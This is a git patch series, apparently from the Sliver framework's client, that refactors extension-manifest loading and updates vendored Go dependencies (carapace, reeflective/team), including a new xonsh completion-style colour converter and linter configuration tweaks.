extFiles.Path = util.ResolvePath(extFiles.Path) if extFiles.Path == "" || extFiles.Path == "/" { - return nil, errors.New("missing `files.path` field in extension manifest") + return errors.New("missing `files.path` field in extension manifest") } extFiles.OS = strings.ToLower(extFiles.OS) extFiles.Arch = strings.ToLower(extFiles.Arch) } if extManifest.Help == "" { - return nil, errors.New("missing `help` field in extension manifest") + return errors.New("missing `help` field in extension manifest") } - return extManifest, nil + return nil } // ExtensionRegisterCommand - Register a new extension command. diff --git a/client/command/sliver.go b/client/command/sliver.go index 88238c0d00..586bf04ba7 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -149,14 +149,15 @@ func SliverCommands(con *client.SliverClient) console.Commands { // Load Extensions extensionManifests := assets.GetInstalledExtensionManifests() for _, manifest := range extensionManifests { - ext, err := extensions.LoadExtensionManifest(manifest) + mext, err := extensions.LoadExtensionManifest(manifest) // Absorb error in case there's no extensions manifest if err != nil { con.PrintErrorf("Failed to load extension: %s", err) continue } - - extensions.ExtensionRegisterCommand(ext, sliver, con) + for _, ext := range mext { + extensions.ExtensionRegisterCommand(ext, sliver, con) + } } // [ Post-command declaration setup ]---------------------------------------- diff --git a/go.sum b/go.sum index f570d3d107..c00102e1a6 100644 --- a/go.sum +++ b/go.sum @@ -356,8 +356,6 @@ github.com/reeflective/console v0.1.14 h1:RAZhiaT3FtMdi+rGVTlF5Lo/IgIJEG/WtGUqxp github.com/reeflective/console v0.1.14/go.mod h1:Gjb24RDyCG+Q75vsAknUcK3oTqnsfFt/S107p/DW7j0= github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss= github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A= -github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= -github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/reeflective/team v0.1.2 h1:g3Cy5fbM0JzuxSNCvzY9DDytYxFqFSCLlWumKmzB35M= github.com/reeflective/team v0.1.2/go.mod h1:1U0RS3dwou/HbqUK4mgmBEU4+qe1oEuI3TCYcMQbkNI= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= @@ -367,8 +365,7 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= -github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 h1:ctOUuKn5PO6VtwtaS7unNrm6u20YXESPtnKEie/u304= -github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= +github.com/rsteube/carapace v0.47.4 h1:LwnkFsvRxc2WhZjM63QS7sCi3DlM9XGuATQM5rehgps= github.com/rsteube/carapace v0.47.4/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU= github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml index b27a7fdc0e..1ebc61822f 100644 --- a/vendor/github.com/reeflective/team/.golangci.yml +++ b/vendor/github.com/reeflective/team/.golangci.yml @@ -173,7 +173,7 @@ linters: # - forbidigo # Forbids identifiers (style) - forcetypeassert # finds forced type assertions (style) - funlen # tool for detection of long functions (cplx) - - gci # Controls package import order and makes deterministic (fmt,import) + # - gci # Controls package import order and makes deterministic (fmt,import) # - gochecknoglobals # checks that no global variables exist (style) # - gochecknoinits # checks that no init functions are present (style) - gocognit # computes and checks the cognitive complexity of functions (cplx) @@ -184,9 +184,9 @@ linters: - godox # tool for detection of FIXME, TODO and other comments (style,cmt) - goerr113 # checks the errors handling expressions (style,err) # - gofmt # formats and checks for code simplification (fmt) - # - gofumpt # checks whether code was gofumpt-ed (fmt) + - gofumpt # checks whether code was gofumpt-ed (fmt) - goheader # checks if file header matches to pattern (style) - #- goimports # fixes imports, formats code same as gofmt (fmt,import) + - goimports # fixes imports, formats code same as gofmt (fmt,import) # - golint # Deprecated - gomnd # analyzer to detect magic numbers (style) - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod) @@ -261,7 +261,6 @@ linters: - forbidigo # Forbids identifiers (style) - gochecknoglobals # checks that no global variables exist (style) - gochecknoinits # checks that no init functions are present (style) - - goimports # fixes imports, formats code same as gofmt (fmt,import) - lll # Report long lines (style) - promlinter # checks Prometheus metrics naming via promlint - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) @@ -281,7 +280,8 @@ linters: - wrapcheck # checks errors returned from external packages are wrapped (style,err) - tagliatelle # checks struct tags (style) - gofmt # formats and checks for code simplification (fmt) - - gofumpt # checks whether code was gofumpt-ed (fmt) + # - gofumpt # checks whether code was gofumpt-ed (fmt) + # - goimports # fixes imports, formats code same as gofmt (fmt,import) # Run only fast linters from enabled linters set (first run won't be fast) # Default: false diff --git a/vendor/github.com/reeflective/team/client/commands/commands.go b/vendor/github.com/reeflective/team/client/commands/commands.go index 9f714bd1f0..21923a225f 100644 --- a/vendor/github.com/reeflective/team/client/commands/commands.go +++ b/vendor/github.com/reeflective/team/client/commands/commands.go @@ -25,12 +25,13 @@ import ( "path/filepath" "strings" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" "github.com/spf13/pflag" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) // Generate returns a command tree to embed in client applications connecting diff --git a/vendor/github.com/reeflective/team/client/commands/import.go b/vendor/github.com/reeflective/team/client/commands/import.go index 166a86c20a..ff470c2db5 100644 --- a/vendor/github.com/reeflective/team/client/commands/import.go +++ b/vendor/github.com/reeflective/team/client/commands/import.go @@ -22,10 +22,11 @@ import ( "encoding/json" "fmt" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func importCmd(cli *client.Client) func(cmd *cobra.Command, args []string) { diff --git a/vendor/github.com/reeflective/team/client/commands/users.go b/vendor/github.com/reeflective/team/client/commands/users.go index f3045c9794..3b7f1ca05d 100644 --- a/vendor/github.com/reeflective/team/client/commands/users.go +++ b/vendor/github.com/reeflective/team/client/commands/users.go @@ -23,10 +23,11 @@ import ( "time" "github.com/jedib0t/go-pretty/v6/table" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func usersCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index 975c0d96c2..2920bca8a4 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -22,10 +22,11 @@ import ( "fmt" "time" - "github.com/reeflective/team/client" - "github.com/reeflective/team/internal/command" "github.com/sirupsen/logrus" "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/command" ) func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go index 2e6791e0fa..daec0c59d5 100644 --- a/vendor/github.com/reeflective/team/client/config.go +++ b/vendor/github.com/reeflective/team/client/config.go @@ -30,6 +30,7 @@ import ( "sort" "github.com/AlecAivazis/survey/v2" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/certs" "github.com/reeflective/team/internal/command" diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go index a5f279d300..7c3dc6ff69 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go +++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go @@ -21,11 +21,6 @@ package db */ import ( - // Embedded SQLite instance. - _ "github.com/ncruces/go-sqlite3/embed" - // C-code. - _ "github.com/ncruces/go-sqlite3" - "gorm.io/driver/sqlite" "gorm.io/gorm" "gorm.io/gorm/logger" diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go index b8f86d3072..6509086a46 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql.go +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -23,12 +23,13 @@ import ( "fmt" "time" - "github.com/reeflective/team/internal/log" "github.com/sirupsen/logrus" "gorm.io/driver/mysql" "gorm.io/driver/postgres" "gorm.io/gorm" "gorm.io/gorm/logger" + + "github.com/reeflective/team/internal/log" ) const ( diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go index 6439dea177..67d2f731fa 100644 --- a/vendor/github.com/reeflective/team/server/commands/commands.go +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -21,13 +21,14 @@ package commands import ( "fmt" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/reeflective/team/client" cli "github.com/reeflective/team/client/commands" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/server" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go index 40c2d12af3..1b336cebbf 100644 --- a/vendor/github.com/reeflective/team/server/commands/completers.go +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -23,9 +23,10 @@ import ( "net" "strings" + "github.com/rsteube/carapace" + "github.com/reeflective/team/client" "github.com/reeflective/team/server" - "github.com/rsteube/carapace" ) // interfacesCompleter completes interface addresses on the client host. diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go index 286536acb7..2cc8d50b68 100644 --- a/vendor/github.com/reeflective/team/server/commands/teamserver.go +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -28,12 +28,13 @@ import ( "strings" "github.com/jedib0t/go-pretty/v6/table" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "github.com/reeflective/team/internal/command" "github.com/reeflective/team/internal/log" "github.com/reeflective/team/internal/systemd" "github.com/reeflective/team/server" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" ) func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go index e8c1f68cd1..92b6f895a2 100644 --- a/vendor/github.com/reeflective/team/server/commands/user.go +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -8,12 +8,13 @@ import ( "path/filepath" "strings" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + "github.com/reeflective/team/client" "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/command" "github.com/reeflective/team/server" - "github.com/sirupsen/logrus" - "github.com/spf13/cobra" ) func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { diff --git a/vendor/github.com/rsteube/carapace/command.go b/vendor/github.com/rsteube/carapace/command.go index c6c1cc2952..4bd1ea8dc9 100644 --- a/vendor/github.com/rsteube/carapace/command.go +++ b/vendor/github.com/rsteube/carapace/command.go @@ -6,12 +6,13 @@ import ( "os" "strings" + "github.com/rsteube/carapace/internal/spec" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" ) -func addCompletionCommand(cmd *cobra.Command) { - for _, c := range cmd.Commands() { +func addCompletionCommand(targetCmd *cobra.Command) { + for _, c := range targetCmd.Commands() { if c.Name() == "_carapace" { return } @@ -50,7 +51,7 @@ func addCompletionCommand(cmd *cobra.Command) { DisableFlagParsing: true, } - cmd.AddCommand(carapaceCmd) + targetCmd.AddCommand(carapaceCmd) Carapace{carapaceCmd}.PositionalCompletion( ActionStyledValues( @@ -63,21 +64,39 @@ func addCompletionCommand(cmd *cobra.Command) { "nushell", "#29d866", "oil", "#373a36", "powershell", "#e8a16f", - "spec", style.Default, "tcsh", "#412f09", "xonsh", "#a8ffa9", "zsh", "#efda53", ), - ActionValues(cmd.Root().Name()), + ActionValues(targetCmd.Root().Name()), ) Carapace{carapaceCmd}.PositionalAnyCompletion( ActionCallback(func(c Context) Action { - cmd.RemoveCommand(carapaceCmd) - action, _ := traverse(cmd, append(c.Args[2:], c.Value)) - return action + args := []string{"_carapace", "export", ""} + args = append(args, c.Args[2:]...) + args = append(args, c.Value) + + executable, err := os.Executable() + if err != nil { + return ActionMessage(err.Error()) + } + return ActionExecCommand(executable, args...)(func(output []byte) Action { // TODO does not work with sandbox tests for `example _carapace ...` + if string(output) == "" { + return ActionValues() + } + return ActionImport(output) + }) }), ) + specCmd := &cobra.Command{ + Use: "spec", + Run: func(cmd *cobra.Command, args []string) { + fmt.Fprint(cmd.OutOrStdout(), spec.Spec(targetCmd)) + }, + } + carapaceCmd.AddCommand(specCmd) + styleCmd := &cobra.Command{ Use: "style", Args: cobra.ExactArgs(1), diff --git a/vendor/github.com/rsteube/carapace/defaultActions.go b/vendor/github.com/rsteube/carapace/defaultActions.go index 2d1df6ad9e..dc7d28cf00 100644 --- a/vendor/github.com/rsteube/carapace/defaultActions.go +++ b/vendor/github.com/rsteube/carapace/defaultActions.go @@ -529,7 +529,11 @@ func ActionCobra(f func(cmd *cobra.Command, args []string, toComplete string) ([ LOG.Print("cmd is nil [ActionCobra]") c.cmd = &cobra.Command{Use: "_carapace_actioncobra", Hidden: true, Deprecated: "dummy command for ActionCobra"} } - values, directive := f(c.cmd, c.cmd.Flags().Args(), c.Value) + + if !c.cmd.DisableFlagParsing { + c.Args = c.cmd.Flags().Args() + } + values, directive := f(c.cmd, c.Args, c.Value) return compDirective(directive).ToA(values...) }) } diff --git a/vendor/github.com/rsteube/carapace/internal/shell/shell.go b/vendor/github.com/rsteube/carapace/internal/shell/shell.go index f578122f1e..2c8b717dc1 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/shell.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/shell.go @@ -16,7 +16,6 @@ import ( "github.com/rsteube/carapace/internal/shell/nushell" "github.com/rsteube/carapace/internal/shell/oil" "github.com/rsteube/carapace/internal/shell/powershell" - "github.com/rsteube/carapace/internal/shell/spec" "github.com/rsteube/carapace/internal/shell/tcsh" "github.com/rsteube/carapace/internal/shell/xonsh" "github.com/rsteube/carapace/internal/shell/zsh" @@ -40,7 +39,6 @@ func Snippet(cmd *cobra.Command, shell string) (string, error) { "nushell": nushell.Snippet, "oil": oil.Snippet, "powershell": powershell.Snippet, - "spec": spec.Snippet, "tcsh": tcsh.Snippet, "xonsh": xonsh.Snippet, "zsh": zsh.Snippet, diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go index 81e0ad747b..54c34640b6 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/action.go @@ -18,6 +18,7 @@ type richCompletion struct { Value string Display string Description string + Style string } // ActionRawValues formats values for xonsh. @@ -38,7 +39,12 @@ func ActionRawValues(currentWord string, meta common.Meta, values common.RawValu val.Value = val.Value + " " } - vals[index] = richCompletion{Value: val.Value, Display: val.Display, Description: val.TrimmedDescription()} + vals[index] = richCompletion{ + Value: val.Value, + Display: val.Display, + Description: val.TrimmedDescription(), + Style: convertStyle("bg-default fg-default " + val.Style), + } } m, _ := json.Marshal(vals) return string(m) diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go index caa98754b8..f9a9254ad6 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/snippet.go @@ -28,7 +28,7 @@ def _%v_completer(context): output, _ = Popen(['%v', '_carapace', 'xonsh', *[a.value for a in context.args], fix_prefix(context.prefix)], stdout=PIPE, stderr=PIPE).communicate() try: - result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False) for c in loads(output)} + result = {RichCompletion(c["Value"], display=c["Display"], description=c["Description"], prefix_len=len(context.raw_prefix), append_closing_quote=False, style=c["Style"]) for c in loads(output)} except: result = {} if len(result) == 0: diff --git a/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go new file mode 100644 index 0000000000..6658b41420 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go @@ -0,0 +1,332 @@ +package xonsh + +import ( + "strings" + + "github.com/rsteube/carapace/pkg/style" +) + +func convertStyle(s string) string { + xonshStyle := make([]string, 0) + + style := style.Parse("fg-default bg-default " + s) + switch style.Background { + case nil: + xonshStyle = append(xonshStyle, "bg:default") + default: + xonshStyle = append(xonshStyle, "bg:"+convertColor(style.Background.String())) + } + + switch style.Foreground { + case nil: + xonshStyle = append(xonshStyle, "fg:default") + default: + xonshStyle = append(xonshStyle, "fg:"+convertColor(style.Foreground.String())) + } + + if style.Bold { + xonshStyle = append(xonshStyle, "bold") + } + if style.Dim { // TODO dim not supported + if style.Foreground == nil || style.Foreground.String() == "white" { + xonshStyle[1] = "fg:#808080" // TODO workaround + } + } + if style.Italic { + xonshStyle = append(xonshStyle, "italic") + } + if style.Underlined { + xonshStyle = append(xonshStyle, "underline") + } + if style.Blink { + xonshStyle = append(xonshStyle, "blink") + } + if style.Inverse { + xonshStyle = append(xonshStyle, "reverse") + } + + return strings.Join(xonshStyle, " ") +} + +func convertColor(color string) string { + if strings.HasPrefix(color, "#") { + return color // keep hex + } + + return map[string]string{ + "black": "ansiblack", + "red": "ansired", + "green": "ansigreen", + "yellow": "ansiyellow", + "blue": "ansiblue", + "magenta": "ansimagenta", + "cyan": "ansicyan", + "white": "ansigray", + + "bright-ansiblack": "ansibrightblack", + "bright-ansired": "ansibrightred", + "bright-ansigreen": "ansibrightgreen", + "bright-ansiyellow": "ansibrightyellow", + "bright-ansiblue": "ansibrightblue", + "bright-ansimagenta": "ansibrightmagenta", + "bright-ansicyan": "ansibrightcyan", + "bright-ansiwhite": "ansiwhite", + + "color0": "#000000", + "color1": "#800000", + "color2": "#008000", + "color3": "#808000", + "color4": "#000080", + "color5": "#800080", + "color6": "#008080", + "color7": "#c0c0c0", + "color8": "#808080", + "color9": "#ff0000", + "color10": "#00ff00", + "color11": "#ffff00", + "color12": "#0000ff", + "color13": "#ff00ff", + "color14": "#00ffff", + "color15": "#ffffff", + "color16": "#000000", + "color17": "#00005f", + "color18": "#000087", + "color19": "#0000af", + "color20": "#0000d7", + "color21": "#0000ff", + "color22": "#005f00", + "color23": "#005f5f", + "color24": "#005f87", + "color25": "#005faf", + "color26": "#005fd7", + "color27": "#005fff", + "color28": "#008700", + "color29": "#00875f", + "color30": "#008787", + "color31": "#0087af", + "color32": "#0087d7", + "color33": "#0087ff", + "color34": "#00af00", + "color35": "#00af5f", + "color36": "#00af87", + "color37": "#00afaf", + "color38": "#00afd7", + "color39": "#00afff", + "color40": "#00d700", + "color41": "#00d75f", + "color42": "#00d787", + "color43": "#00d7af", + "color44": "#00d7d7", + "color45": "#00d7ff", + "color46": "#00ff00", + "color47": "#00ff5f", + "color48": "#00ff87", + "color49": "#00ffaf", + "color50": "#00ffd7", + "color51": "#00ffff", + "color52": "#5f0000", + "color53": "#5f005f", + "color54": "#5f0087", + "color55": "#5f00af", + "color56": "#5f00d7", + "color57": "#5f00ff", + "color58": "#5f5f00", + "color59": "#5f5f5f", + "color60": "#5f5f87", + "color61": "#5f5faf", + "color62": "#5f5fd7", + "color63": "#5f5fff", + "color64": "#5f8700", + "color65": "#5f875f", + "color66": "#5f8787", + "color67": "#5f87af", + "color68": "#5f87d7", + "color69": "#5f87ff", + "color70": "#5faf00", + "color71": "#5faf5f", + "color72": "#5faf87", + "color73": "#5fafaf", + "color74": "#5fafd7", + "color75": "#5fafff", + "color76": "#5fd700", + "color77": "#5fd75f", + "color78": "#5fd787", + "color79": "#5fd7af", + "color80": "#5fd7d7", + "color81": "#5fd7ff", + "color82": "#5fff00", + "color83": "#5fff5f", + "color84": "#5fff87", + "color85": "#5fffaf", + "color86": "#5fffd7", + "color87": "#5fffff", + "color88": "#870000", + "color89": "#87005f", + "color90": "#870087", + "color91": "#8700af", + "color92": "#8700d7", + "color93": "#8700ff", + "color94": "#875f00", + "color95": "#875f5f", + "color96": "#875f87", + "color97": "#875faf", + "color98": "#875fd7", + "color99": "#875fff", + "color100": "#878700", + "color101": "#87875f", + "color102": "#878787", + "color103": "#8787af", + "color104": "#8787d7", + "color105": "#8787ff", + "color106": "#87af00", + "color107": "#87af5f", + "color108": "#87af87", + "color109": "#87afaf", + "color110": "#87afd7", + "color111": "#87afff", + "color112": "#87d700", + "color113": "#87d75f", + "color114": "#87d787", + "color115": "#87d7af", + "color116": "#87d7d7", + "color117": "#87d7ff", + "color118": "#87ff00", + "color119": "#87ff5f", + "color120": "#87ff87", + "color121": "#87ffaf", + "color122": "#87ffd7", + "color123": "#87ffff", + "color124": "#af0000", + "color125": "#af005f", + "color126": "#af0087", + "color127": "#af00af", + "color128": "#af00d7", + "color129": "#af00ff", + "color130": "#af5f00", + "color131": "#af5f5f", + "color132": "#af5f87", + "color133": "#af5faf", + "color134": "#af5fd7", + "color135": "#af5fff", + "color136": "#af8700", + "color137": "#af875f", + "color138": "#af8787", + "color139": "#af87af", + "color140": "#af87d7", + "color141": "#af87ff", + "color142": "#afaf00", + "color143": "#afaf5f", + "color144": "#afaf87", + "color145": "#afafaf", + "color146": "#afafd7", + "color147": "#afafff", + "color148": "#afd700", + "color149": "#afd75f", + "color150": "#afd787", + "color151": "#afd7af", + "color152": "#afd7d7", + "color153": "#afd7ff", + "color154": "#afff00", + "color155": "#afff5f", + "color156": "#afff87", + "color157": "#afffaf", + "color158": "#afffd7", + "color159": "#afffff", + "color160": "#d70000", + "color161": "#d7005f", + "color162": "#d70087", + "color163": "#d700af", + "color164": "#d700d7", + "color165": "#d700ff", + "color166": "#d75f00", + "color167": "#d75f5f", + "color168": "#d75f87", + "color169": "#d75faf", + "color170": "#d75fd7", + "color171": "#d75fff", + "color172": "#d78700", + "color173": "#d7875f", + "color174": "#d78787", + "color175": "#d787af", + "color176": "#d787d7", + "color177": "#d787ff", + "color178": "#d7af00", + "color179": "#d7af5f", + "color180": "#d7af87", + "color181": "#d7afaf", + "color182": "#d7afd7", + "color183": "#d7afff", + "color184": "#d7d700", + "color185": "#d7d75f", + "color186": "#d7d787", + "color187": "#d7d7af", + "color188": "#d7d7d7", + "color189": "#d7d7ff", + "color190": "#d7ff00", + "color191": "#d7ff5f", + "color192": "#d7ff87", + "color193": "#d7ffaf", + "color194": "#d7ffd7", + "color195": "#d7ffff", + "color196": "#ff0000", + "color197": "#ff005f", + "color198": "#ff0087", + "color199": "#ff00af", + "color200": "#ff00d7", + "color201": "#ff00ff", + "color202": "#ff5f00", + "color203": "#ff5f5f", + "color204": "#ff5f87", + "color205": "#ff5faf", + "color206": "#ff5fd7", + "color207": "#ff5fff", + "color208": "#ff8700", + "color209": "#ff875f", + "color210": "#ff8787", + "color211": "#ff87af", + "color212": "#ff87d7", + "color213": "#ff87ff", + "color214": "#ffaf00", + "color215": "#ffaf5f", + "color216": "#ffaf87", + "color217": "#ffafaf", + "color218": "#ffafd7", + "color219": "#ffafff", + "color220": "#ffd700", + "color221": "#ffd75f", + "color222": "#ffd787", + "color223": "#ffd7af", + "color224": "#ffd7d7", + "color225": "#ffd7ff", + "color226": "#ffff00", + "color227": "#ffff5f", + "color228": "#ffff87", + "color229": "#ffffaf", + "color230": "#ffffd7", + "color231": "#ffffff", + "color232": "#080808", + "color233": "#121212", + "color234": "#1c1c1c", + "color235": "#262626", + "color236": "#303030", + "color237": "#3a3a3a", + "color238": "#444444", + "color239": "#4e4e4e", + "color240": "#585858", + "color241": "#626262", + "color242": "#6c6c6c", + "color243": "#767676", + "color244": "#808080", + "color245": "#8a8a8a", + "color246": "#949494", + "color247": "#9e9e9e", + "color248": "#a8a8a8", + "color249": "#b2b2b2", + "color250": "#bcbcbc", + "color251": "#c6c6c6", + "color252": "#d0d0d0", + "color253": "#dadada", + "color254": "#e4e4e4", + "color255": "#eeeeee", + }[color] +} diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/command.go b/vendor/github.com/rsteube/carapace/internal/spec/command.go similarity index 100% rename from vendor/github.com/rsteube/carapace/internal/shell/spec/command.go rename to vendor/github.com/rsteube/carapace/internal/spec/command.go diff --git a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go b/vendor/github.com/rsteube/carapace/internal/spec/spec.go similarity index 96% rename from vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go rename to vendor/github.com/rsteube/carapace/internal/spec/spec.go index 2d8325eee0..25bb037e06 100644 --- a/vendor/github.com/rsteube/carapace/internal/shell/spec/snippet.go +++ b/vendor/github.com/rsteube/carapace/internal/spec/spec.go @@ -9,7 +9,7 @@ import ( ) // Snippet generates the spec file. -func Snippet(cmd *cobra.Command) string { +func Spec(cmd *cobra.Command) string { m, _ := yaml.Marshal(command(cmd)) return string(m) } diff --git a/vendor/github.com/rsteube/carapace/pkg/style/style.go b/vendor/github.com/rsteube/carapace/pkg/style/style.go index 5210ce6551..c552aa95a7 100644 --- a/vendor/github.com/rsteube/carapace/pkg/style/style.go +++ b/vendor/github.com/rsteube/carapace/pkg/style/style.go @@ -55,7 +55,7 @@ var ( ) // Of combines different styles. -func Of(s ...string) string { return strings.Join(s, " ") } +func Of(s ...string) string { return strings.TrimSpace(strings.Join(s, " ")) } // XTerm256Color returns a color from the xterm 256-color palette. func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() } @@ -64,9 +64,9 @@ func XTerm256Color(i uint8) string { return ui.XTerm256Color(i).String() } func TrueColor(r, g, b uint8) string { return ui.TrueColor(r, g, b).String() } // SGR returns the SGR sequence for given style. -func SGR(s string) string { return parseStyle(s).SGR() } +func SGR(s string) string { return Parse(s).SGR() } -func parseStyle(s string) ui.Style { +func Parse(s string) ui.Style { stylings := make([]ui.Styling, 0) for _, word := range strings.Split(s, " ") { if styling := ui.ParseStyling(word); styling != nil { diff --git a/vendor/modules.txt b/vendor/modules.txt index 88af3680f5..6c5d1bb72d 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -566,7 +566,7 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui -# github.com/reeflective/team v0.1.1 +# github.com/reeflective/team v0.1.2 ## explicit; go 1.21 github.com/reeflective/team github.com/reeflective/team/client @@ -587,7 +587,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 +# github.com/rsteube/carapace v0.47.4 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -607,10 +607,10 @@ github.com/rsteube/carapace/internal/shell/ion github.com/rsteube/carapace/internal/shell/nushell github.com/rsteube/carapace/internal/shell/oil github.com/rsteube/carapace/internal/shell/powershell -github.com/rsteube/carapace/internal/shell/spec github.com/rsteube/carapace/internal/shell/tcsh github.com/rsteube/carapace/internal/shell/xonsh github.com/rsteube/carapace/internal/shell/zsh +github.com/rsteube/carapace/internal/spec github.com/rsteube/carapace/internal/uid github.com/rsteube/carapace/pkg/cache github.com/rsteube/carapace/pkg/match From 51498f3ad86b9487666e935140fee845c580b956 Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Sat, 30 Sep 2023 14:07:02 +0800 Subject: [PATCH 118/124] revise manifest schema --- client/command/armory/armory.go | 28 +- client/command/armory/completion.go | 9 +- client/command/armory/install.go | 59 ++-- client/command/armory/search.go | 8 +- client/command/armory/update.go | 15 +- client/command/extensions/extensions.go | 22 +- client/command/extensions/extensions_test.go | 335 ++++++++----------- client/command/extensions/install.go | 145 +++----- client/command/extensions/load.go | 197 +++++++---- client/command/extensions/remove.go | 38 ++- client/command/sliver.go | 2 +- 11 files changed, 422 insertions(+), 436 deletions(-) diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index 5893f69716..79e495d0e7 100644 --- 